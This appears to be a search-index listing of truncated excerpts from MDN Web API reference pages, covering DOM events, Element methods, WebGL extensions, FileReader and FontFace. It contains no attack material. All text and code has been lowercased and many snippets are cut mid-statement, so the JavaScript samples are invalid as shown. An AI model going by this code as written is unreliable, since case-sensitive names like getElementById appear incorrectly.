... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
... specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification.
Document: transitionstart event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitionstart the original target for this event is the element that had the transition applied.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
... specifications specification status comment css transitionsthe definition of 'transitionstart' in that specification.
Document.writeln() - Web APIs
WebAPIDocumentwriteln
this is the case if opening a local file with a .xhtml file extension or for any document served with an application/xhtml+xml mime type.
... specifications specification status comment html living standardthe definition of 'document.writeln()' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.writeln()' in that specification.
DocumentFragment.querySelector() - Web APIs
to match id or selectors that do not follow the css syntax (by using semicolon or space inappropriately for example), it's mandatory to escape the wrong character with a double back slash: <div id="foo\bar"></div> <div id="foo:bar"></div> <script> document.queryselector('#foo\bar') // does not match anything document.queryselector('#foo\\\\bar') // match the first div document.queryselector('#foo:bar') // does not match anything document.queryselector('#foo\\:bar') // match the second div </script> specifications ...
... specification status comment selectors api level 2the definition of 'documentfragment.queryselector' in that specification.
... obsolete no change from selectors api level 1 selectors api level 1the definition of 'documentfragment.queryselector' in that specification.
DocumentOrShadowRoot.elementsFromPoint() - Web APIs
y the vertical coordinate of a point.
... example html <div> <p>some text</p> </div> <p>elements at point 30, 20:</p> <div id="output"></div> javascript let output = document.getelementbyid("output"); if (document.elementsfrompoint) { let elements = document.elementsfrompoint(30, 20); for (var i = 0; i < elements.length; i++) { output.textcontent += elements[i].localname; if (i < elements.length - 1) { output.textcontent += " < "; } } } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.elementsfrompoint()</code>" + "</span>"; } specifications specification status shadow domthe definition of 'elementsfrompoint()' in that specification.
... obsolete css object model (cssom) view modulethe definition of 'elementsfrompoint()' in that specification.
DoubleRange - Web APIs
if no match can be found that is within the given range, an error will occur.
... specifications specification status comment media capture and streamsthe definition of 'doublerange' in that specification.
... candidate recommendation initial definition ...
DynamicsCompressorNode - Web APIs
the dynamicscompressornode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
... this is often used in musical production and game audio.
...mpression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'dynamicscompressornode' in that specification.
EXT_blend_minmax - Web APIs
the ext_blend_minmax extension is part of the webgl api and extends blending capabilities by adding two new blend equations: the minimum or maximum color components of the source and destination colors.
... constants this extension adds two new constants, which can be used in webglrenderingcontext.blendequation() and webglrenderingcontext.blendequationseparate(): ext.min_ext produces the minimum color components of the source and destination colors.
... examples var ext = gl.getextension('ext_blend_minmax'); gl.blendequation(ext.min_ext); gl.blendequation(ext.max_ext); gl.blendequationseparate(ext.min_ext, ext.max_ext); specifications specification status comment ext_blend_minmaxthe definition of 'ext_blend_minmax' in that specification.
EXT_texture_compression_bptc - Web APIs
these compression formats are called bc7 and bc6h in microsoft's directx api.
... constants the compressed texture formats are exposed by 4 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... examples var ext = gl.getextension('ext_texture_compression_bptc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_bptc_unorm_ext, 128, 128, 0, texturedata); specifications specification status ext_texture_compression_bptc community approved ...
EXT_texture_filter_anisotropic - Web APIs
constants ext.max_texture_max_anisotropy_ext this is the pname argument to the gl.getparameter() call, and it returns the maximum available anisotropy.
... ext.texture_max_anisotropy_ext this is the pname argument to the gl.gettexparameter() and gl.texparameterf() / gl.texparameteri() calls and sets the desired maximum anisotropy for a texture.
...eatetexture(); gl.bindtexture(gl.texture_2d, texture); var ext = ( gl.getextension('ext_texture_filter_anisotropic') || gl.getextension('moz_ext_texture_filter_anisotropic') || gl.getextension('webkit_ext_texture_filter_anisotropic') ); if (ext){ var max = gl.getparameter(ext.max_texture_max_anisotropy_ext); gl.texparameterf(gl.texture_2d, ext.texture_max_anisotropy_ext, max); } specifications specification status comment ext_texture_filter_anisotropicthe definition of 'ext_texture_filter_anisotropic' in that specification.
EffectTiming.direction - Web APIs
the direction property of the web animations api dictionary effecttiming indicates an animation's playback direction along its timeline, as well as its behavior when it reaches the end of an iteration element.animate(), keyframeeffectreadonly(), and keyframeeffect() all accept an object of timing properties including direction.
...it can take one of the following values, with the default being "normal": "normal" the animation runs forwards, from beginning to end, in the way we experience the flow of time.
...les in the forgotten key example, alice waves her arm up and down by passing her an alternate value for her direction property: // get alice's arm, and wave it up and down document.getelementbyid("alice_arm").animate([ { transform: 'rotate(10deg)' }, { transform: 'rotate(-40deg)' } ], { easing: 'steps(2, end)', iterations: infinity, direction: 'alternate', duration: 600 }); specifications specification status comment web animationsthe definition of 'direction' in that specification.
EffectTiming.endDelay - Web APIs
the enddelay property of the effecttiming dictionary (part of the web animations api) indicates the number of milliseconds to delay after the active period of an animation sequence.
... this is useful for sequencing animations based on the end time of another animation; note, however, that many of the sequence effectst that will benefit most from this property have not been defined in the specification yet.
... specifications specification status comment web animationsthe definition of 'enddelay' in that specification.
EffectTiming.iterations - Web APIs
the default value is 1, indicating that it should only play once, but you can set it to any floating-point value (including positive infinity defaults to 1, and can also take a value of infinity to make it loop infinitely.
...defaults to 1, meaning the animation sequence plays through once then stops automatically.
..., alice waves her arm up and down the entire time the page is open by passing infinity as the value for her iterations property: // get alice's arm, and wave it up and down document.getelementbyid("alice_arm").animate([ { transform: 'rotate(10deg)' }, { transform: 'rotate(-40deg)' } ], { easing: 'steps(2, end)', iterations: infinity, direction: 'alternate', duration: 600 }); specifications specification status comment web animationsthe definition of 'iterations' in that specification.
Element: MSGestureHold event - Web APIs
bubbles unknown cancelable unknown interface msgestureevent event handler property unknown the uievent.detail property of an msgesturehold event has 3 possible values: msgesture_flag_begin this value indicates that the user started contacting the touch surface.
... msgesture_flag_end this value indicates that the user has stopped touching the touch surface.
... msgesture_flag_end & msgesture_flag_cancel (bitwise and-ed together) this value indicates that the user has moved their finger, regardless of whether they also stopped touching the touch surface specifications not part of any specification.
Element: beforescriptexecute event - Web APIs
this event was a proposal in an early version of the specification.
...cancelling the event prevents the script from executing.
... bubbles yes cancelable yes interface event event handler property none specifications not part of any specification.
Element.clientHeight - Web APIs
clientheight can be calculated as: css height + css padding - height of horizontal scrollbar (if present).
... this is a special case of clientheight.
... example specification specification status comment css object model (cssom) view modulethe definition of 'clientheight' in that specification.
Element.clientWidth - Web APIs
it includes padding but excludes borders, margins, and vertical scrollbars (if present).
...this is a special case of clientwidth.
... example specification specification status comment css object model (cssom) view modulethe definition of 'clientwidth' in that specification.
Element.closest() - Web APIs
WebAPIElementclosest
returns the closest ancestor which is a div in div, here it is the div-03 itself var r3 = el.closest("article > div"); // returns the closest ancestor which is a div and has a parent article, here it is the div-01 var r4 = el.closest(":not(div)"); // returns the closest ancestor which is not a div, here it is the outmost article polyfill for browsers that do not support element.closest(), but carry support for element.matches() (or a prefixed equivalent, meaning ie9+), a polyfill exists: if (!element.prototype.matches) { element.prototype.matches = element.prototype.msmatchesselector || element.prototype.webkitmatchesselector; } if (!element.prototype.closest) { element.prototype.closest = function(s) { var el = this; do { if (element.prototype.matches.call(e...
...however, it will only support css 2.1 selectors in ie 8, and it can cause severe lag spikes in production websites.
... if (window.element && !element.prototype.closest) { element.prototype.closest = function(s) { var matches = (this.document || this.ownerdocument).queryselectorall(s), i, el = this; do { i = matches.length; while (--i >= 0 && matches.item(i) !== el) {}; } while ((i < 0) && (el = el.parentelement)); return el; }; } specifications specification status comment domthe definition of 'element.closest()' in that specification.
Element: compositionend event - Web APIs
the compositionend event is fired when a text composition system such as an input method editor completes or cancels the current composition session.
... bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionend', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="2...
...-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(event) { log.textcontent = log.textcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element.createShadowRoot() - Web APIs
after the shadow dom is created, the element that it is attached to is called the shadow root.
... this method has been deprecated in favor of attachshadow().
... specifications this feature is no longer defined by any specifications.
Element.currentStyle - Web APIs
polyfill this polyfill returns the values in pixels and is likely to be rather slow, as it has to call window.getcomputedstyle() every time its value is read.
... /* any copyright is dedicated to the public domain.
... * http://creativecommons.org/publicdomain/zero/1.0/ */ if (!("currentstyle" in element.prototype)) { object.defineproperty(element.prototype, "currentstyle", { get: function() { return window.getcomputedstyle(this); } }); } specification not part of any specification.
Element: dblclick event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property ondblclick examples this example toggles the size of a card when you double click on it.
... javascript const card = document.queryselector('aside'); card.addeventlistener('dblclick', function (e) { card.classlist.toggle('large'); }); html <aside> <h3>my card</h3> <p>double click to resize this object.</p> </aside> css aside { background: #fe9; border-radius: 1em; display: inline-block; padding: 1em; transform: scale(.9); transform-origin: 0 0; transition: transform .6s; } .large { transform: scale(1.3); } result specifications specification status ui eventsthe definition of 'dblclick' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'dblclick' in that specification.
Element: focusin event - Web APIs
bubbles yes cancelable no interface focusevent event handler property onfocusin sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specif...
...ications specification status comment ui events working draft added info that this event is composed.
... document object model (dom) level 3 events specification obsolete initial definition ...
Element: focusout event - Web APIs
bubbles yes cancelable no interface focusevent event handler property onfocusout sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specific...
...ations specification status comment ui events working draft added info that this event is composed.
... document object model (dom) level 3 events specification obsolete initial definition ...
Element: fullscreenchange event - Web APIs
bubbles yes cancelable no interface event event handler property onfullscreenchange this event is sent to the element which is transitioning into or out of full-screen mode.
...on the other hand, if document.fullscreenelement is null, full-screen mode has been canceled.
... document.exitfullscreen(); } else { document.getelementbyid('fullscreen-div').requestfullscreen(); } }); specifications specification status fullscreen api living standard ...
Element: fullscreenerror event - Web APIs
the fullscreenerror event is fired when the browser cannot switch to full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenerror as with the fullscreenchange event, two fullscreenerror events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which contains that element.
... examples const requestor = document.queryselector('div'); requestor.addeventlistener('fullscreenerror', (event) => { console.error('an error occurred changing into fullscreen'); console.log(event); }); requestor.requestfullscreen(); specifications specification status fullscreen api living standard ...
Element.getAttributeNode() - Web APIs
example // html: <div id="top" /> let t = document.getelementbyid("top"); let idattr = t.getattributenode("id"); alert(idattr.value == "top") notes when called on an html element in a dom flagged as an html document, getattributenode lower-cases its argument before proceeding.
...you can, however, get the element to which the attribute belongs with the ownerelement property.
...ling with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'getattributenode()' in that specification.
Element.insertAdjacentElement() - Web APIs
syntax targetelement.insertadjacentelement(position, element); parameters position a domstring representing the position relative to the targetelement; must match (case-insensitively) one of the following strings: 'beforebegin': before the targetelement itself.
...when one is clicked, it becomes selected and you can then press the insert before and insert after buttons to insert new divs before or after the selected element using insertadjacentelement().
... specification specification status comment domthe definition of 'insertadjacentelement()' in that specification.
Element: keypress event - Web APIs
since this event has been deprecated, you should look to use beforeinput or keydown instead.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; launch text composition system; blur and focus events; domactivate event; other event examples addeventlistener keypress example this example logs the keyboardevent.code value whenever you press a key after focussing the <input> element.
... <div> <label for="sample">focus the input and type something:</label> <input type="text" name="text" id="sample"> </div> <p id="log"></p> const log = document.getelementbyid('log'); const input = document.queryselector('input'); input.addeventlistener('keypress', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeypress equivalent input.onkeypress = logkey; specifications specification status ui events working draft ...
Element.matches() - Web APIs
WebAPIElementmatches
example <ul id="birds"> <li>orange-winged parrot</li> <li class="endangered">philippine eagle</li> <li>great white pelican</li> </ul> <script type="text/javascript"> var birds = document.getelementsbytagname('li'); for (var i = 0; i < birds.length; i++) { if (birds[i].matches('.endangered')) { console.log('the ' + birds[i].textcontent + ' is endangered!'); } } </script> this will log "the philippine eagle is endangered!" to the console, since the element has indeed a class attribute with valu...
...sselector || element.prototype.msmatchesselector || element.prototype.omatchesselector || element.prototype.webkitmatchesselector || function(s) { var matches = (this.document || this.ownerdocument).queryselectorall(s), i = matches.length; while (--i >= 0 && matches.item(i) !== this) {} return i > -1; }; } however, given the practicality of supporting older browsers, the following should suffice for most (if not all) practical cases (i.e.
... if (!element.prototype.matches) { element.prototype.matches = element.prototype.msmatchesselector || element.prototype.webkitmatchesselector; } specification specification status comment domthe definition of 'element.prototype.matches' in that specification.
Element: mouseover event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property onmouseover examples the following example illustrates the difference between mouseover and mouseenter events.
...lor = ""; }, 500); }, false); // this handler will be executed every time the cursor // is moved over a different list item test.addeventlistener("mouseover", function( event ) { // highlight the mouseover target event.target.style.color = "orange"; // reset the color after a short delay settimeout(function() { event.target.style.color = ""; }, 500); }, false); result specifications specification status ui eventsthe definition of 'mouseover' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mouseover' in that specification.
Element.outerHTML - Web APIs
WebAPIElementouterHTML
it can also be set to replace the element with nodes parsed from the given string.
... nomodificationallowederror an attempt was made to set outerhtml on an element which is a direct child of a document, such as document.documentelement.
...: "<div></div>" also, while the element will be replaced in the document, the variable whose outerhtml property was set will still hold a reference to the original element: var p = document.getelementsbytagname("p")[0]; console.log(p.nodename); // shows: "p" p.outerhtml = "<div>this div replaced a paragraph.</div>"; console.log(p.nodename); // still "p"; the returned value will contain html escaped attributes: var anc = document.createelement("a"); anc.href = "https://developer.mozilla.org?a=b&c=d"; console.log(anc.outerhtml); // output: "<a href='https://developer.mozilla.org?a=b&amp;c=d'></a>" specification specification status comment dom parsing and serializationthe definition of 'element.outerhtml' in that specification.
Element.removeAttributeNode() - Web APIs
the replacing attribute has the same namespace uri and local name, as well as the original prefix, when applicable.
... there is no removeattributenodens method; the removeattributenode method can remove both namespaced attributes and non-namespaced attributes.
...ling with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'element: removeattributenode' in that specification.
Element.scrollIntoView() - Web APIs
the element interface's scrollintoview() method scrolls the element's parent container such that the element on which scrollintoview() is called is visible to the user syntax element.scrollintoview(); element.scrollintoview(aligntotop); // boolean parameter element.scrollintoview(scrollintoviewoptions); // object parameter parameters aligntotop optional is a boolean value: if true, the top of the element will be aligned to the top of the visible area of the scrollable ancestor.
... block optional defines vertical alignment.
... specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollintoview()' in that specification.
Element: select event - Web APIs
bubbles yes cancelable no interface uievent if generated from a user interface, event otherwise event handler property onselect the event is not available for all elements in all languages.
... for example, in html, select events can be dispatched only on form <input type="text"> and <textarea> elements.
...ext in this element."> <p id="log"></p> function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const input = document.queryselector('input'); input.addeventlistener('select', logselection); onselect equivalent you can also set up the event handler using the onselect property: input.onselect = logselection; specifications specification status ui eventsthe definition of 'select' in that specification.
Element.setAttributeNS() - Web APIs
name is a string identifying the attribute by its qualified name; that is, a namespace prefix followed by a colon followed by a local name.
..."namespace:localname".
... specifications specification status comment domthe definition of 'document.setattributens' in that specification.
Element.slot - Web APIs
WebAPIElementslot
a slot is a placeholder inside a web component that users can fill with their own markup (see using templates and slots for more information).
... examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text.
... let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.slot); // logs 'my-text' specifications specification status comment domthe definition of 'slot' in that specification.
Element: webkitmouseforcewillbegin event - Web APIs
to instruct macos not to engage any default force touch actions if the user apply enough pressure to activate a force touch event, call preventdefault() on the webkitmouseforcewillbegin event object.
... bubbles unknown cancelable unknown interface mouseevent webkitmouseforcewillbegin is a proprietary, webkit-specific event.
... specifications not part of any specification.
ElementCSSInlineStyle - Web APIs
each of these interfaces can, of course, add more features in addition to the ones listed below.
... note: elementcssinlinestyle is a mixin and not an interface; you can't actually create an object of type elementcssinlinestyle.
... specifications specification status comment css object model (cssom)the definition of 'htmlorforeignelement' in that specification.
ErrorEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86"...
... specifications specification status comment html living standardthe definition of 'errorevent' in that specification.
... html5the definition of 'errorevent' in that specification.
Comparison of Event Targets - Web APIs
there are five targets to consider: property defined in purpose event.target dom event interface the dom element on the lefthand side of the call that triggered this event, eg: element.dispatchevent(event) event.currenttarget dom event interface the eventtarget whose eventlisteners are currently being processed.
... as the event capturing and bubbling occurs, this value changes.
...for example, mouse events are retargeted to their parent node when they happen over text nodes (bug 185889), and in that case .target will show the parent and .explicitoriginaltarget will show the text node.
Event.explicitOriginalTarget - Web APIs
for example, mouse events are retargeted to their parent node when they happen over text nodes (see bug 185889), and in that case currenttarget will show the parent and explicitoriginaltarget will show the text node.
... example this property can be used with <command> to get the event details of the original object calling the command.
... function mycommand(ev) { alert(ev.explicitoriginaltarget.nodename); // returns 'menuitem' } <xul:command id="my-cmd-anaction" oncommand="mycommand(event);"/> <xul:menulist> <xul:menupopup> <xul:menuitem label="get my element name!" command="my-cmd-anaction"/> </xul:menupopup> </menulist> specifications this is a mozilla-specific property.
Event.msConvertURL() - Web APIs
targettype [in] type: domstring one of the following values indicating the desired conversion type: "specified", "base64", or "unchanged".
... example var bloblist = []; document.getelementbyid("pastezone").addeventlistener('paste', handlepaste, false); function handlepaste(evt) { var filelist = window.clipboarddata.files; // note that window.datatransfer.files is not applicable.
... evt.converturl(file, "specified", url); } else { evt.msconverturl(file, "specified", url); } console.log("local file: " + file.name + " (" + file.size + ")"); bloblist.push(file); } // for } // handlepaste see also microsoft api extensions ...
EventListener.handleEvent() - Web APIs
the eventlistener method handleevent() method is called by the user agent when an event is sent to the eventlistener, in order to handle events that occur on an observed eventtarget.
... specifications specification status comment domthe definition of 'eventlistener.handleevent()' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'eventlistener.handleevent()' in that specification.
EventSource.onerror - Web APIs
the onerror property of the eventsource interface is an eventhandler called when an error occurs and the error event is dispatched on an eventsource object.
... syntax eventsource.onerror = function examples evtsource.onerror = function() { console.log("eventsource failed."); }; note: you can find a full example on github — see simple sse demo using php.
... specifications specification status comment html living standardthe definition of 'onerror' in that specification.
EventSource.onmessage - Web APIs
the onmessage property of the eventsource interface is an eventhandler called when a message event is received, that is when a message is coming from the source.
... syntax eventsource.onmessage = function examples evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
... specifications specification status comment html living standardthe definition of 'onmessage' in that specification.
EventSource.onopen - Web APIs
the onopen property of the eventsource interface is an eventhandler called when an open event is received, that is when the connection was just opened.
... syntax eventsource.onopen = function examples evtsource.onopen = function() { console.log("connection to server opened."); }; note: you can find a full example on github — see simple sse demo using php.
... specifications specification status comment html living standardthe definition of 'onopen' in that specification.
FeaturePolicy.allowsFeature() - Web APIs
example the following example queries whether or not the document is allowed to use camera api by the feature policy.
... please note that camera api might be restricted by the permissions api, if the user did not grant the corresponding permission yet.
... // first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowed = featurepolicy.allowsfeature("camera") if (allowed){ console.log("fp allows camera.") } else { console.log("fp does not allows camera.") } specifications specification status comment feature policythe definition of 'allowsfeature' in that specification.
FeaturePolicy.getAllowlistForFeature() - Web APIs
example the followin example prints all the origins that are allowed to use camera api by the feature policy.
... please note that camera api might be restricted by the permissions api, if the user did not grant the corrsponding permission yet.
... // first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowlist = featurepolicy.getallowlistforfeature("camera") for (const origin of allowlist){ console.log(origin) } specification specification status comment feature policythe definition of 'getallowlistforfeature' in that specification.
FeaturePolicy - Web APIs
featurepolicy methods featurepolicy.allowsfeature returns a boolean that indicates whether or not a particular feature is enabled in the specified context.
...feature whose name appears on the list might not be allowed by the feature policy of the current execution context and/or might not be accessible because of user's permissions.
... specification specification status comment feature policy editor's draft initial definition.
FetchEvent.preloadResponse - Web APIs
this promise resolves to the first matching url request in the cache object.
... addeventlistener('fetch', event => { event.respondwith(async function() { // respond from the cache if we can const cachedresponse = await caches.match(event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network.
... return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'preloadresponse' in that specification.
FetchEvent.replacesClientId - Web APIs
it can be an empty string when navigating from about:blank to another page, as about:blank's client will be reused, rather than be replaced.
...this could be used to access/communicate with a client that will imminently be replaced, right before a navigation.
... example self.addeventlistener('fetch', function(event) { console.log(event.replacesclientid); }); specifications specification status comment service workersthe definition of 'replacesclientid' in that specification.
File.getAsText() - Web APIs
WebAPIFilegetAsText
syntax var str = instanceoffile.getastext(encoding); parameters encoding a string indicating the encoding to use for the returned data.
... example // fileinput is a htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = files[i]; // if file type could be detected if (file !== null) { if (accept.text.indexof(file.mediatype) > -1) { // file is of type text, which we accept // make sure it's encoded as utf-8 var data = file.getastext("utf-8"); // modify data with string methods } else if (ac...
...cept.binary.indexof(file.mediatype) > -1) { // binary } } } specification not part of any specification.
File.lastModified - Web APIs
WebAPIFilelastModified
fileinput"> const fileinput = document.queryselector('#fileinput'); fileinput.addeventlistener('change', (event) => { // files is a filelist object (similar to nodelist) const files = event.target.files; for (let file of files) { const date = new date(file.lastmodified); console.log(`${file.name} has a last modified date of ${date}`); } }); try the results out below: dynamically created files if a file is created dynamically, the last modified time can be supplied in the new file() constructor function.
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
... specifications specification status comment file apithe definition of 'lastmodified' in that specification.
File.lastModifiedDate - Web APIs
syntax var time = instanceoffile.lastmodifieddate value a date object indicating the date and time at which the file was last modified.
... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
... specifications though present in early draft of the file api spec, this property has been removed from it and is now non-standard.
File.webkitRelativePath - Web APIs
ing"></ul> javascript content document.getelementbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitrelativepath' in that specification.
... draft initial specification.
... this api has no official w3c or whatwg specification.
FileReader: abort event - Web APIs
the abort event is fired when a read has been aborted: for instance because the program called filereader.abort().
... bubbles no cancelable no interface progressevent event handler property filereader.onabort examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .e...
....addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } reader.abort(); } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: progress event - Web APIs
the progress event is fired periodically as the filereader reads data.
... bubbles no cancelable no interface progressevent event handler property filereader.onprogress examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } ...
...leevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileRequest.onprogress - Web APIs
summary this property specifies a callback function to be run repeatedly while the operation represented by a filerequest object is in progress.
... each time the function callback is called, it gets an object as its first parameter.
... example // assuming 'request' which is a filerequest object request.onprogress = function (status) { var progress = document.queryselector('progress'); progress.value = status.loaded; progress.max = status.total; } specification not part of any current specification.
FileSystem.name - Web APIs
WebAPIFileSystemname
the read-only name property of the filesystem interface indicates the file system's name.
... example // tbd specifications specification status comment file and directory entries apithe definition of 'name' in that specification.
... draft initial specification.
FileSystemEntry.filesystem - Web APIs
syntax var filesystem = filesystementry.filesystem; value a filesystem representing the file system on which the file or directory described by the filesystementry is located..
... let rootdirentry = fileentry.filesystem.root; specifications specification status comment file and directory entries apithe definition of 'filesystem' in that specification.
... draft initial specification.
FileSystemSync - Web APIs
about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
... the specification is abandonned for the moment, failing to get significant traction.
...so once you have a reference, cache the object in a global variable or class property.
FocusEvent.relatedTarget - Web APIs
focus the eventtarget receiving focus the eventtarget losing focus (if any) focusin the eventtarget receiving focus the eventtarget losing focus (if any) focusout the eventtarget losing focus the eventtarget receiving focus (if any) note that many elements can't have focus, which is a common reason for relatedtarget to be null.
... syntax secondtarget = focusevent.relatedtarget specifications specification status comment ui eventsthe definition of 'focusevent.relatedtarget' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'focusevent.relatedtarget' in that specification.
FontFace.load - Web APIs
WebAPIFontFaceload
the load() method of the fontface interface loads a font based on current object's constructor-passed requirements, including a location or source buffer, and returns a promise that resolves with the current fontface object.
... exceptions networkerror indicates that the attempt to load the font failed.
... specifications specification status comment css font loading module level 3the definition of 'load' in that specification.
FontFace - Web APIs
WebAPIFontFace
fontface.status read only returns an enumerated value indicating the status of the font, one of "unloaded", "loading", "loaded", or "error".
... fontface.load() loads a font based on current object's constructor-passed requirements, including a location or source buffer, and returns a promise that resolves with the current fontface object.
... specifications specification status comment css font loading module level 3the definition of 'fontface' in that specification.
FontFaceSet.load() - Web APIs
WebAPIFontFaceSetload
parameters font: a font specification using the css value syntax, e.g.
... examples // returns a promise that will be fulfilled or rejected according the success to load myfont // the code in 'then' can assume the availability of that font.
... document.fonts.load("12px myfont", "ß").then(…); specifications specification status comment css font loading module level 3the definition of 'load' in that specification.
FormData.set() - Web APIs
WebAPIFormDataset
this can be a usvstring or blob (including subclasses such as file).
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can set key/value pairs on this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name', 72); formdata.get('name'); // "72" specifications specification status comment xmlhttprequestthe definition ...
...of 'set()' in that specification.
